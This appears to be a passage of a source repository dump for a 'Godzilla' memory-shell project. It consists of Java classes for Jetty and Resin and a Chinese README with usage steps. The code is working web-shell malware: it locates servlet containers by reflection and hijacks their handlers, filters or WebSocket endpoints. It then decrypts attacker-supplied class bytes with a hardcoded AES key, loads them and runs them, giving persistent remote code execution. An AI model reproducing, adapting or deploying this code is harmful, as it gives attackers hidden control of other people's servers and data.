398 | f.equals(arrOut);
399 | f.equals(request);
400 | f.equals(data);
401 | f.toString();
402 | String md5 = md5(password + key);
403 | if (arrOut.size() > 0) {
404 | PrintWriter printWriter = (PrintWriter) invokeMethod(response, "getWriter");
405 | printWriter.write(md5.substring(0, 16));
406 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true)));
407 | printWriter.write(md5.substring(16));
408 | return true;
409 | }
410 | }
411 | }
412 | }
413 | }
414 |
415 | } catch (Throwable ignored) {
416 | }
417 | } catch (Throwable ignored) {
418 |
419 | }
420 | return false;
421 | }
422 | }
423 |
--------------------------------------------------------------------------------
/JettyMemoryShell/src/AesBase64JettyHandleShell.java:
--------------------------------------------------------------------------------
1 | import java.io.PrintWriter;
2 | import java.lang.reflect.*;
3 | import java.util.ArrayList;
4 | import java.util.Arrays;
5 | import java.util.HashSet;
6 |
7 | //jetty7-11 test
8 | public class AesBase64JettyHandleShell extends ClassLoader implements InvocationHandler {
9 | private static boolean initialized = false;
10 | private static final Object lock = new Object();
11 | private static Class payloadClass;
12 | private String key = "3c6e0b8a9c15224a";
13 | private String password = "pass";
14 | private Object oldHandler;
15 |
16 |
17 | static {
18 | new AesBase64JettyHandleShell();
19 | }
20 |
21 | public AesBase64JettyHandleShell(ClassLoader loader) {
22 | super(loader);
23 | }
24 |
25 | public AesBase64JettyHandleShell() {
26 | synchronized (lock) {
27 | if (!initialized) {
28 | initialized = true;
29 | try {
30 | Class jettyHandlerClass = null;
31 | try {
32 | jettyHandlerClass = loadClasses("org.eclipse.jetty.server.Handler");
33 | } catch (Exception e) {
34 | }
35 | if (jettyHandlerClass != null) {
36 | addHandler(Proxy.newProxyInstance(jettyHandlerClass.getClassLoader(), new Class[]{jettyHandlerClass}, this));
37 | }
38 | } catch (Throwable e) {
39 |
40 | }
41 | }
42 | }
43 | }
44 |
45 | private Class loadClasses(String className) throws ClassNotFoundException {
46 | ArrayList classLoaders = new ArrayList();
47 | classLoaders.add(this.getClass().getClassLoader());
48 | try {
49 | classLoaders.add(Thread.currentThread().getContextClassLoader());
50 | ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
51 | int threadCount = threadGroup.activeCount();
52 | Thread[] threads = new Thread[threadCount];
53 | threadCount = threadGroup.enumerate(threads);
54 | for (int i = 0; i < threadCount; i++) {
55 | classLoaders.add(threads[i].getContextClassLoader());
56 | }
57 | } catch (Exception e) {
58 |
59 | }
60 | int loaders = classLoaders.size();
61 | for (int i = 0; i < loaders; i++) {
62 | ClassLoader loader = (ClassLoader) classLoaders.get(i);
63 | if (loader != null) {
64 | try {
65 | return Class.forName(className, true, loader);
66 | } catch (Throwable e) {
67 |
68 | }
69 | }
70 | }
71 | return Class.forName(className);
72 | }
73 |
74 |
75 | private static Object getJettyServer() throws Throwable {
76 | HashSet blackType = new HashSet();
77 | blackType.add(int.class.getName());
78 | blackType.add(short.class.getName());
79 | blackType.add(long.class.getName());
80 | blackType.add(double.class.getName());
81 | blackType.add(byte.class.getName());
82 | blackType.add(float.class.getName());
83 | blackType.add(char.class.getName());
84 | blackType.add(boolean.class.getName());
85 | blackType.add(Integer.class.getName());
86 | blackType.add(Short.class.getName());
87 | blackType.add(Long.class.getName());
88 | blackType.add(Double.class.getName());
89 | blackType.add(Byte.class.getName());
90 | blackType.add(Float.class.getName());
91 | blackType.add(Character.class.getName());
92 | blackType.add(Boolean.class.getName());
93 | blackType.add(String.class.getName());
94 | Object jettyServer = searchObject("org.eclipse.jetty.server.Server", Thread.currentThread(), new HashSet(), blackType, 20, 0);
95 | return jettyServer;
96 | }
97 |
98 | private static Object searchObject(String targetClassName, Object object, HashSet blacklist, HashSet blackType, int maxDepth, int currentDepth) throws Throwable {
99 | currentDepth++;
100 |
101 | if (currentDepth >= maxDepth) {
102 | return null;
103 | }
104 |
105 | if (object != null) {
106 |
107 | if (targetClassName.equals(object.getClass().getName())) {
108 | return object;
109 | }
110 |
111 | Integer hash = System.identityHashCode(object);
112 | if (!blacklist.contains(hash)) {
113 | blacklist.add(new Integer(hash));
114 | Field[] fields = null;
115 | ArrayList fieldsArray = new ArrayList();
116 | Class objClass = object.getClass();
117 | while (objClass != null) {
118 | Field[] fields1 = objClass.getDeclaredFields();
119 | fieldsArray.addAll(Arrays.asList(fields1));
120 | objClass = objClass.getSuperclass();
121 | }
122 | fields = (Field[]) fieldsArray.toArray(new Field[0]);
123 |
124 |
125 | for (int i = 0; i < fields.length; i++) {
126 | Field field = fields[i];
127 |
128 | try {
129 | field.setAccessible(true);
130 | Class fieldType = field.getType();
131 | if (!blackType.contains(fieldType.getName())) {
132 | Object fieldValue = field.get(object);
133 | if (fieldValue != null) {
134 | Object ret = null;
135 | if (fieldType.isArray()) {
136 | if (!blackType.contains(fieldType.getComponentType().getName())) {
137 | int arraySize = Array.getLength(fieldValue);
138 | for (int j = 0; j < arraySize; j++) {
139 | ret = searchObject(targetClassName, Array.get(fieldValue, j), blacklist, blackType, maxDepth, currentDepth);
140 | if (ret != null) {
141 | break;
142 | }
143 | }
144 | }
145 | } else {
146 | ret = searchObject(targetClassName, fieldValue, blacklist, blackType, maxDepth, currentDepth);
147 | }
148 | if (ret != null) {
149 | return ret;
150 | }
151 | }
152 | }
153 | } catch (Throwable e) {
154 |
155 | }
156 | }
157 | }
158 | }
159 | return null;
160 |
161 | }
162 |
163 | private boolean addHandler(Object newHandler) {
164 | boolean isOk = false;
165 | try {
166 | Object jettyServer = getJettyServer();
167 | if (jettyServer != null) {
168 | Field _handlerField = getField(jettyServer, "_handler");
169 | _handlerField.setAccessible(true);
170 | this.oldHandler = _handlerField.get(jettyServer);
171 | _handlerField.set(jettyServer, newHandler);
172 | isOk = true;
173 | }
174 | } catch (Throwable e) {
175 |
176 | }
177 |
178 |
179 | return isOk;
180 | }
181 |
182 |
183 | public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
184 | boolean next = true;
185 | if (method.getName().equals("handle")) {
186 | try {
187 | Object baseRequest = args[1];
188 | Object servletRequest = args[2];
189 | Object servletResponse = args[3];
190 | if (run(servletRequest, servletResponse)) {
191 | Method setHandledMethod = getMethodByClass(baseRequest.getClass(), "setHandled", boolean.class);
192 | if (setHandledMethod != null) {
193 | setHandledMethod.setAccessible(true);
194 | setHandledMethod.invoke(baseRequest, true);
195 | }
196 | next = false;
197 | }
198 | } catch (Throwable ignored) {
199 |
200 | }
201 | }
202 |
203 | if (next && oldHandler != null) {
204 | return method.invoke(oldHandler, args);
205 | }
206 |
207 | return null;
208 | }
209 |
210 | private Object invokeMethod(Object obj, String methodName, Object... parameters) {
211 | try {
212 | ArrayList classes = new ArrayList();
213 | if (parameters != null) {
214 | for (int i = 0; i < parameters.length; i++) {
215 | Object o1 = parameters[i];
216 | if (o1 != null) {
217 | classes.add(o1.getClass());
218 | } else {
219 | classes.add(null);
220 | }
221 | }
222 | }
223 | Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[]{}));
224 |
225 | return method.invoke(obj, parameters);
226 | } catch (Exception e) {
227 | // e.printStackTrace();
228 | }
229 | return null;
230 | }
231 |
232 | private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
233 | Method method = null;
234 | while (cs != null) {
235 | try {
236 | method = cs.getMethod(methodName, parameters);
237 | cs = null;
238 | } catch (Exception e) {
239 | cs = cs.getSuperclass();
240 | }
241 | }
242 |
243 | if (method!=null){
244 | try {
245 | method.setAccessible(true);
246 | }catch (Throwable e){
247 |
248 | }
249 | }
250 |
251 | return method;
252 | }
253 |
254 | private static Field getField(Object obj, String fieldName) {
255 | Class clazz = null;
256 |
257 | if (obj == null) {
258 | return null;
259 | }
260 |
261 | if (obj instanceof Class) {
262 | clazz = (Class) obj;
263 | } else {
264 | clazz = obj.getClass();
265 | }
266 | Field field = null;
267 | while (clazz != null) {
268 | try {
269 | field = clazz.getDeclaredField(fieldName);
270 | clazz = null;
271 | } catch (Exception e) {
272 | clazz = clazz.getSuperclass();
273 | }
274 | }
275 |
276 | if (field != null) {
277 | field.setAccessible(true);
278 | }
279 |
280 | return field;
281 | }
282 |
283 | private String getParameter(Object requestObject, String name) {
284 | return (String) invokeMethod(requestObject, "getParameter", name);
285 | }
286 |
287 | private String getContentType(Object requestObject) {
288 | return (String) invokeMethod(requestObject, "getContentType");
289 | }
290 |
291 |
292 | private byte[] aes(byte[] s, boolean m) {
293 | try {
294 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
295 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES"));
296 | return c.doFinal(s);
297 | } catch (Exception e) {
298 | return null;
299 | }
300 | }
301 |
302 | private static String md5(String s) {
303 | String ret = null;
304 | try {
305 | java.security.MessageDigest m;
306 | m = java.security.MessageDigest.getInstance("MD5");
307 | m.update(s.getBytes(), 0, s.length());
308 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
309 | } catch (Exception e) {
310 | }
311 | return ret;
312 | }
313 |
314 | private static String base64Encode(byte[] bs) throws Exception {
315 | Class base64;
316 | String value = null;
317 | try {
318 | base64 = Class.forName("java.util.Base64");
319 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
320 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
321 | } catch (Exception e) {
322 | try {
323 | base64 = Class.forName("sun.misc.BASE64Encoder");
324 | Object Encoder = base64.newInstance();
325 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
326 | } catch (Exception e2) {
327 | }
328 | }
329 | return value;
330 | }
331 |
332 | private static byte[] base64Decode(String bs) throws Exception {
333 | Class base64;
334 | byte[] value = null;
335 | try {
336 | base64 = Class.forName("java.util.Base64");
337 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
338 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
339 | } catch (Exception e) {
340 | try {
341 | base64 = Class.forName("sun.misc.BASE64Decoder");
342 | Object decoder = base64.newInstance();
343 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
344 | } catch (Exception e2) {
345 | }
346 | }
347 | return value;
348 | }
349 |
350 | private boolean run(Object request, Object response) {
351 | try {
352 | try {
353 | String contentType = getContentType(request);
354 | if (contentType != null && contentType.contains("application/x-www-form-urlencoded")) {
355 | String value = getParameter(request, password);
356 | if (value != null) {
357 | byte[] data = base64Decode(value);
358 | data = aes(data, false);
359 | if (data != null && data.length > 0) {
360 | if (payloadClass == null) {
361 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
362 | if (loader == null) {
363 | loader = request.getClass().getClassLoader();
364 | }
365 |
366 | payloadClass = new AesBase64JettyHandleShell(loader).defineClass(data, 0, data.length);
367 | } else {
368 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
369 | Object f = payloadClass.newInstance();
370 | f.equals(arrOut);
371 | f.equals(request);
372 | f.equals(data);
373 | f.toString();
374 | String md5 = md5(password + key);
375 | if (arrOut.size() > 0) {
376 | PrintWriter printWriter = (PrintWriter) invokeMethod(response, "getWriter");
377 | printWriter.write(md5.substring(0, 16));
378 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true)));
379 | printWriter.write(md5.substring(16));
380 | printWriter.flush();
381 | return true;
382 | }
383 | }
384 | }
385 | }
386 | }
387 |
388 | } catch (Throwable ignored) {
389 | }
390 | } catch (Throwable ignored) {
391 |
392 | }
393 | return false;
394 | }
395 | }
396 |
--------------------------------------------------------------------------------
/JettyMemoryShell/src/AesJettyWebsocketShell.java:
--------------------------------------------------------------------------------
1 | import javax.servlet.ServletContext;
2 | import javax.websocket.Endpoint;
3 | import javax.websocket.EndpointConfig;
4 | import javax.websocket.MessageHandler;
5 | import javax.websocket.Session;
6 | import javax.websocket.server.ServerEndpointConfig;
7 | import javax.websocket.server.ServerContainer;
8 | import java.io.ByteArrayOutputStream;
9 | import java.io.IOException;
10 | import java.lang.reflect.Array;
11 | import java.lang.reflect.Field;
12 | import java.lang.reflect.Method;
13 | import java.net.URL;
14 | import java.net.URLClassLoader;
15 | import java.nio.ByteBuffer;
16 | import java.util.ArrayList;
17 | import java.util.Arrays;
18 | import java.util.HashSet;
19 |
20 | //jetty9-10.11 test
21 | public class AesJettyWebsocketShell extends Endpoint implements MessageHandler.Whole {
22 | private static boolean initialized = false;
23 | private static final Object lock = new Object();
24 | private Class payload = null;
25 | private Session session = null;
26 | private String xc = "3c6e0b8a9c15224a";
27 | private String pass = "pass";
28 |
29 |
30 | static {
31 | new AesJettyWebsocketShell();
32 | }
33 |
34 | public AesJettyWebsocketShell() {
35 | synchronized (lock) {
36 | if (!initialized) {
37 | initialized = true;
38 | try {
39 | addEndpoint(this);
40 | } catch (Throwable ignored) {
41 |
42 | }
43 | }
44 | }
45 | }
46 |
47 | public AesJettyWebsocketShell(Session session) {
48 | this.session = session;
49 | }
50 |
51 | private static Object[] getServers() throws Throwable {
52 | HashSet contexts = new HashSet();
53 | HashSet blackType = new HashSet();
54 | blackType.add(int.class.getName());
55 | blackType.add(short.class.getName());
56 | blackType.add(long.class.getName());
57 | blackType.add(double.class.getName());
58 | blackType.add(byte.class.getName());
59 | blackType.add(float.class.getName());
60 | blackType.add(char.class.getName());
61 | blackType.add(boolean.class.getName());
62 | blackType.add(Integer.class.getName());
63 | blackType.add(Short.class.getName());
64 | blackType.add(Long.class.getName());
65 | blackType.add(Double.class.getName());
66 | blackType.add(Byte.class.getName());
67 | blackType.add(Float.class.getName());
68 | blackType.add(Character.class.getName());
69 | blackType.add(Boolean.class.getName());
70 | blackType.add(String.class.getName());
71 | Object jettyServer = searchObject("org.eclipse.jetty.server.Server", Thread.currentThread(), new HashSet(), blackType, 20, 0);
72 | if (jettyServer != null) {
73 | try {
74 | Object serverHandle = getFieldValue(jettyServer, "_handler");
75 | Object handles = serverHandle.getClass().getMethod("getChildHandlers").invoke(serverHandle);
76 | if (handles.getClass().isArray()) {
77 | int handleSize = Array.getLength(handles);
78 | for (int i = 0; i < handleSize; i++) {
79 | Object handle = Array.get(handles, i);
80 | if (handle != null && "org.eclipse.jetty.webapp.WebAppContext".equals(handle.getClass().getName())) {
81 | contexts.add(handle);
82 | }
83 | }
84 | }
85 | } catch (Throwable e) {
86 |
87 | }
88 | }
89 | return contexts.toArray();
90 | }
91 |
92 | private static Object searchObject(String targetClassName, Object object, HashSet blacklist, HashSet blackType, int maxDepth, int currentDepth) throws Throwable {
93 | currentDepth++;
94 |
95 | if (currentDepth >= maxDepth) {
96 | return null;
97 | }
98 |
99 | if (object != null) {
100 |
101 | if (targetClassName.equals(object.getClass().getName())) {
102 | return object;
103 | }
104 |
105 | Integer hash = System.identityHashCode(object);
106 | if (!blacklist.contains(hash)) {
107 | blacklist.add(new Integer(hash));
108 | Field[] fields = null;
109 | ArrayList fieldsArray = new ArrayList();
110 | Class objClass = object.getClass();
111 | while (objClass != null) {
112 | Field[] fields1 = objClass.getDeclaredFields();
113 | fieldsArray.addAll(Arrays.asList(fields1));
114 | objClass = objClass.getSuperclass();
115 | }
116 | fields = (Field[]) fieldsArray.toArray(new Field[0]);
117 |
118 |
119 | for (int i = 0; i < fields.length; i++) {
120 | Field field = fields[i];
121 |
122 | try {
123 | field.setAccessible(true);
124 | Class fieldType = field.getType();
125 | if (!blackType.contains(fieldType.getName())) {
126 | Object fieldValue = field.get(object);
127 | if (fieldValue != null) {
128 | Object ret = null;
129 | if (fieldType.isArray()) {
130 | if (!blackType.contains(fieldType.getComponentType().getName())) {
131 | int arraySize = Array.getLength(fieldValue);
132 | for (int j = 0; j < arraySize; j++) {
133 | ret = searchObject(targetClassName, Array.get(fieldValue, j), blacklist, blackType, maxDepth, currentDepth);
134 | if (ret != null) {
135 | break;
136 | }
137 | }
138 | }
139 | } else {
140 | ret = searchObject(targetClassName, fieldValue, blacklist, blackType, maxDepth, currentDepth);
141 | }
142 | if (ret != null) {
143 | return ret;
144 | }
145 | }
146 | }
147 | } catch (Throwable e) {
148 |
149 | }
150 | }
151 | }
152 | }
153 | return null;
154 |
155 | }
156 |
157 | private static boolean canAdd(Object obj, String path) {
158 | try {
159 | java.lang.reflect.Method method = obj.getClass().getMethod("findMapping", new Class[]{String.class});
160 | if (method.invoke(obj, new Object[]{path}) != null) {
161 | return false;
162 | }
163 | } catch (Throwable t) {
164 |
165 | }
166 | return true;
167 | }
168 |
169 | private boolean addEndpoint(Endpoint endpoint) throws Throwable {
170 | Object[] servers = getServers();
171 |
172 | boolean isOk = false;
173 |
174 | try {
175 | for (int i = 0; i < servers.length; i++) {
176 | Object server = servers[i];
177 | try {
178 | ServletContext servletContext = (ServletContext) server.getClass().getMethod("getServletContext").invoke(server);
179 | int maxBinaryMessageBufferSize = 10485760;
180 | String websocketPath = String.format("/%s", pass);
181 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(endpoint.getClass(), websocketPath).build();
182 | ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
183 | try {
184 | if (canAdd(container, websocketPath)) {
185 | if (container.getDefaultMaxBinaryMessageBufferSize() < maxBinaryMessageBufferSize) {
186 | container.setDefaultMaxBinaryMessageBufferSize(maxBinaryMessageBufferSize);
187 | }
188 | container.addEndpoint(configEndpoint);
189 | isOk = true;
190 | }
191 | } catch (Throwable e) {
192 |
193 | }
194 | } catch (Throwable e) {
195 |
196 | }
197 | }
198 | } catch (Throwable e) {
199 |
200 | }
201 |
202 |
203 | return isOk;
204 | }
205 |
206 | private static Field getField(Object obj, String fieldName) {
207 | Class clazz = null;
208 |
209 | if (obj == null) {
210 | return null;
211 | }
212 |
213 | if (obj instanceof Class) {
214 | clazz = (Class) obj;
215 | } else {
216 | clazz = obj.getClass();
217 | }
218 | Field field = null;
219 | while (clazz != null) {
220 | try {
221 | field = clazz.getDeclaredField(fieldName);
222 | clazz = null;
223 | } catch (Exception e) {
224 | clazz = clazz.getSuperclass();
225 | }
226 | }
227 |
228 | if (field != null) {
229 | field.setAccessible(true);
230 | }
231 |
232 | return field;
233 | }
234 |
235 | private static Object getFieldValue(Object obj, String fieldName) throws Exception {
236 | Field f = null;
237 | if (obj instanceof Field) {
238 | f = (Field) obj;
239 | } else {
240 | f = getField(obj, fieldName);
241 | }
242 | if (f != null) {
243 | return f.get(obj);
244 | }
245 | return null;
246 | }
247 |
248 | private byte[] aes(byte[] s, boolean m) {
249 | try {
250 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
251 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
252 | return c.doFinal(s);
253 | } catch (Exception e) {
254 | return null;
255 | }
256 | }
257 |
258 | public void onOpen(Session session, EndpointConfig endpointConfig) {
259 | session.addMessageHandler(new AesJettyWebsocketShell(session));
260 | }
261 |
262 | private Class defClass(byte[] classBytes) throws Throwable {
263 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], AesJettyWebsocketShell.class.getClassLoader());
264 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
265 | defineClassMethod.setAccessible(true);
266 | return (Class) defineClassMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length);
267 | }
268 |
269 | public void onMessage(ByteBuffer byteBuffer) {
270 | try {
271 | int limit = byteBuffer.limit();
272 | byte[] data = new byte[limit];
273 | byteBuffer.get(data, 0, limit);
274 | data = aes(data, false);
275 | byte[] response = new byte[0];
276 | if (payload == null) {
277 | payload = defClass(data);
278 | } else {
279 | ByteArrayOutputStream bos = new ByteArrayOutputStream();
280 | Object obj = payload.newInstance();
281 | obj.equals(data);
282 | obj.equals(bos);
283 | obj.toString();
284 | response = bos.toByteArray();
285 | }
286 | session.getBasicRemote().sendBinary(ByteBuffer.wrap(aes(response, true)));
287 | } catch (Throwable e) {
288 | try {
289 | session.close();
290 | } catch (IOException ex) {
291 |
292 | }
293 | }
294 | }
295 | }
296 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # GodzillaMemoryShellProject
2 |
3 | ## 哥斯拉内存Shell项目
4 |
5 | 当你拥有一个可以加载任意Class的能力,你就可以编译此项目,编译对应容器的Class
6 | 当Class被加载之后,你将获得一个哥斯拉的内存shell,你连接时可以填写任意URI路径
7 |
8 | 姊妹项目(.NET/IIS内存Shell):https://github.com/BeichenDream/GodzillaMemoryShellProject.NET/
9 |
10 | ```
11 | 1. 选择JDK版本
12 | 2. 编译此项目
13 | 3. 找到对应容器编译出来的Class
14 | 4. 在远程加载该Class
15 | 5. 获得内存Shell
16 |
17 | ```
18 |
19 | 目前支持以下容器 几乎支持容器的所有版本(欢迎pull更多容器),你无需关注上下文,这一切哥斯拉内存Shell将会自动搜寻并完成注入
20 | 在这个项目你会看到很多的动态代理,这是哥斯拉内存Shell为了兼容javax和jakarta api规范
21 |
22 | ```
23 | 1. Tomcat 5 - 10
24 | 2. Jetty 7 - 11.0.11
25 | 3. JBoss 8 - 27.0.0
26 | 4. Resin 3 - 4.0.66
27 | 5. Weblogic 10.3.6 - weblogic 14
28 | ```
29 |
30 | ## 如何调用哥斯拉内存shell
31 |
32 | ```
33 | //哥斯拉内存shell的class Base64
34 | String godzillaMemShellClassBase64 = "...........";
35 | //base64 解码
36 | byte[] classBytes = Base64.getDecoder().decode(godzillaMemShellClassBase64);
37 | //获得上下文的ClassLoader
38 | ClassLoader loader = Thread.currentThread().getContextClassLoader();
39 | //反射获得defineClass方法 用来定义Class
40 | Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
41 | //使得defineClass方法可访问
42 | defineClassMethod.setAccessible(true);
43 | //调用defineClass方法 从class字节码创建Class
44 | Class clazz = (Class) defineClassMethod.invoke(loader,classBytes,0,classBytes.length);
45 | //创建哥斯拉内存shell实例 哥斯拉内存Shell在此处自动注入
46 | clazz.newInstance();
47 |
48 | ```
49 |
50 | ## 注入内存shell/查找上下文很慢?
51 |
52 | 可以根据目标环境减小maxDetch的值
53 | 
54 |
55 | ## 自动搜寻上下文
56 |
57 | 
58 |
59 | ## 引用
60 | https://github.com/feihong-cs/memShell
61 |
--------------------------------------------------------------------------------
/ResinMemoryShell/ResinMemoryShell.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
--------------------------------------------------------------------------------
/ResinMemoryShell/src/AesBase64ResinFilterShell.java:
--------------------------------------------------------------------------------
1 | import javax.servlet.*;
2 | import java.io.IOException;
3 | import java.io.PrintWriter;
4 | import java.lang.reflect.*;
5 | import java.util.*;
6 |
7 |
8 | //3.0.8 - all
9 | public class AesBase64ResinFilterShell extends ClassLoader implements Filter {
10 | private static Class payloadClass;
11 | private String key = "3c6e0b8a9c15224a";
12 | private String password = "pass";
13 |
14 |
15 | static {
16 | new AesBase64ResinFilterShell().addFilter();
17 | }
18 |
19 | public AesBase64ResinFilterShell(ClassLoader loader) {
20 | super(loader);
21 | }
22 |
23 | public AesBase64ResinFilterShell() {
24 | }
25 |
26 | private void addFilter() {
27 | try {
28 | addFilter(this.getClass());
29 | } catch (Throwable e) {
30 |
31 | }
32 | }
33 |
34 |
35 | private static Object[] getServers() throws Throwable {
36 | HashSet webapps = new HashSet();
37 | Class servletInvocationClass = loadClassEx("com.caucho.server.dispatch.ServletInvocation");
38 | Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
39 | Object webApp = contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);
40 | webapps.add(webApp);
41 | try {
42 | Object webAppContainer = webApp.getClass().getMethod("getParent").invoke(webApp);
43 | Object webappList = webAppContainer.getClass().getMethod("getWebAppList").invoke(webAppContainer);
44 |
45 | boolean isArray = false;
46 |
47 | int size = 0;
48 |
49 | if (webappList.getClass().isArray()) {
50 | isArray = true;
51 | size = Array.getLength(webappList);
52 | } else {
53 | size = ((List) webappList).size();
54 | }
55 |
56 | for (int i = 0; i < size; i++) {
57 | try {
58 | Object webAppController = null;
59 |
60 | if (isArray) {
61 | webAppController = Array.get(webappList, i);
62 | } else {
63 | webAppController = ((List) webappList).get(i);
64 | }
65 |
66 | Object newWebApp = webAppController.getClass().getMethod("getWebApp").invoke(webAppController);
67 | webapps.add(newWebApp);
68 | } catch (Throwable e) {
69 |
70 | }
71 | }
72 | } catch (Throwable e) {
73 |
74 | }
75 |
76 |
77 | return webapps.toArray();
78 | }
79 |
80 | private boolean addFilter(Class filterClass) throws Throwable {
81 | boolean isOk = false;
82 | try {
83 | Object[] obj = getServers();
84 | for (int i = 0; i < obj.length; i++) {
85 | Object webappContext = obj[i];
86 | try {
87 | Class filterConfigImplClass = loadClassEx("com.caucho.server.dispatch.FilterConfigImpl");
88 | Class filterMappingClass = loadClassEx("com.caucho.server.dispatch.FilterMapping");
89 | String urlPattern = "/*";
90 | Object filterConfigImpl = filterMappingClass.newInstance();
91 | getField(filterConfigImpl, "_filterClassName").set(filterConfigImpl, filterClass.getName());
92 | getField(filterConfigImpl, "_filterClass").set(filterConfigImpl, filterClass);
93 | getField(filterConfigImpl, "_filterName").set(filterConfigImpl, filterClass.getName());
94 |
95 | Object filterConfigUrlPattern = filterMappingClass.getMethod("createUrlPattern").invoke(filterConfigImpl);
96 | filterConfigUrlPattern.getClass().getMethod("addText", String.class).invoke(filterConfigUrlPattern, urlPattern);
97 | filterConfigUrlPattern.getClass().getMethod("init").invoke(filterConfigUrlPattern);
98 | getField(filterConfigImpl, "_servletContext").set(filterConfigImpl, webappContext);
99 |
100 | try {
101 | Object _filterMapper = getFieldValue(webappContext, "_filterMapper");
102 | List _filterMapper_filterMap = (List) getFieldValue(_filterMapper, "_filterMap");
103 | _filterMapper_filterMap.add(0, filterConfigImpl);
104 | } catch (Exception e) {
105 | }
106 |
107 |
108 | try {
109 | Object _loginFilterMapper = getFieldValue(webappContext, "_loginFilterMapper");
110 | List _loginFilterMapper_filterMap = (List) getFieldValue(_loginFilterMapper, "_filterMap");
111 | _loginFilterMapper_filterMap.add(0, filterConfigImpl);
112 | } catch (Exception e) {
113 |
114 | }
115 |
116 | webappContext.getClass().getMethod("addFilter", filterConfigImplClass).invoke(webappContext, filterConfigImpl);
117 |
118 | webappContext.getClass().getMethod("clearCache").invoke(webappContext);
119 | isOk = true;
120 | } catch (Throwable e) {
121 |
122 | }
123 | }
124 | } catch (Throwable e) {
125 |
126 | }
127 |
128 |
129 | return isOk;
130 | }
131 |
132 |
133 | public static Field getField(Object obj, String fieldName) {
134 | Class clazz = null;
135 |
136 | if (obj == null) {
137 | return null;
138 | }
139 |
140 | if (obj instanceof Class) {
141 | clazz = (Class) obj;
142 | } else {
143 | clazz = obj.getClass();
144 | }
145 | Field field = null;
146 | while (clazz != null) {
147 | try {
148 | field = clazz.getDeclaredField(fieldName);
149 | clazz = null;
150 | } catch (Exception e) {
151 | clazz = clazz.getSuperclass();
152 | }
153 | }
154 |
155 | if (field != null) {
156 | field.setAccessible(true);
157 | }
158 |
159 | return field;
160 | }
161 |
162 | private static Class loadClassEx(String className) throws ClassNotFoundException {
163 | try {
164 | return Class.forName(className);
165 | } catch (Throwable e) {
166 | try {
167 | return Class.forName(className, true, Thread.currentThread().getContextClassLoader());
168 | } catch (Throwable ignored) {
169 | try {
170 | Thread[] threads = new Thread[Thread.activeCount()];
171 | Thread.enumerate(threads);
172 | for (int i = 0; i < threads.length; i++) {
173 | Thread thread = threads[i];
174 | if (thread == null) {
175 | continue;
176 | }
177 | try {
178 | ClassLoader loader = thread.getContextClassLoader();
179 | return loader.loadClass(className);
180 | } catch (Throwable ignored2) {
181 |
182 | }
183 |
184 | }
185 |
186 | } catch (Throwable ignored2) {
187 |
188 | }
189 | }
190 |
191 | }
192 | throw new ClassNotFoundException(className);
193 | }
194 |
195 | private static Object getFieldValue(Object obj, String fieldName) throws Exception {
196 | Field f = null;
197 | if (obj instanceof Field) {
198 | f = (Field) obj;
199 | } else {
200 | f = getField(obj, fieldName);
201 | }
202 | if (f != null) {
203 | return f.get(obj);
204 | }
205 | return null;
206 | }
207 |
208 |
209 | private byte[] aes(byte[] s, boolean m) {
210 | try {
211 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
212 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES"));
213 | return c.doFinal(s);
214 | } catch (Exception e) {
215 | return null;
216 | }
217 | }
218 |
219 | private static String md5(String s) {
220 | String ret = null;
221 | try {
222 | java.security.MessageDigest m;
223 | m = java.security.MessageDigest.getInstance("MD5");
224 | m.update(s.getBytes(), 0, s.length());
225 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
226 | } catch (Exception e) {
227 | }
228 | return ret;
229 | }
230 |
231 | private static String base64Encode(byte[] bs) throws Exception {
232 | Class base64;
233 | String value = null;
234 | try {
235 | base64 = Class.forName("java.util.Base64");
236 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
237 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{
238 | byte[].class
239 | }).invoke(Encoder, new Object[]{
240 | bs
241 | });
242 | } catch (Exception e) {
243 | try {
244 | base64 = Class.forName("sun.misc.BASE64Encoder");
245 | Object Encoder = base64.newInstance();
246 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{
247 | byte[].class
248 | }).invoke(Encoder, new Object[]{
249 | bs
250 | });
251 | } catch (Exception e2) {
252 | }
253 | }
254 | return value;
255 | }
256 |
257 | private static byte[] base64Decode(String bs) throws Exception {
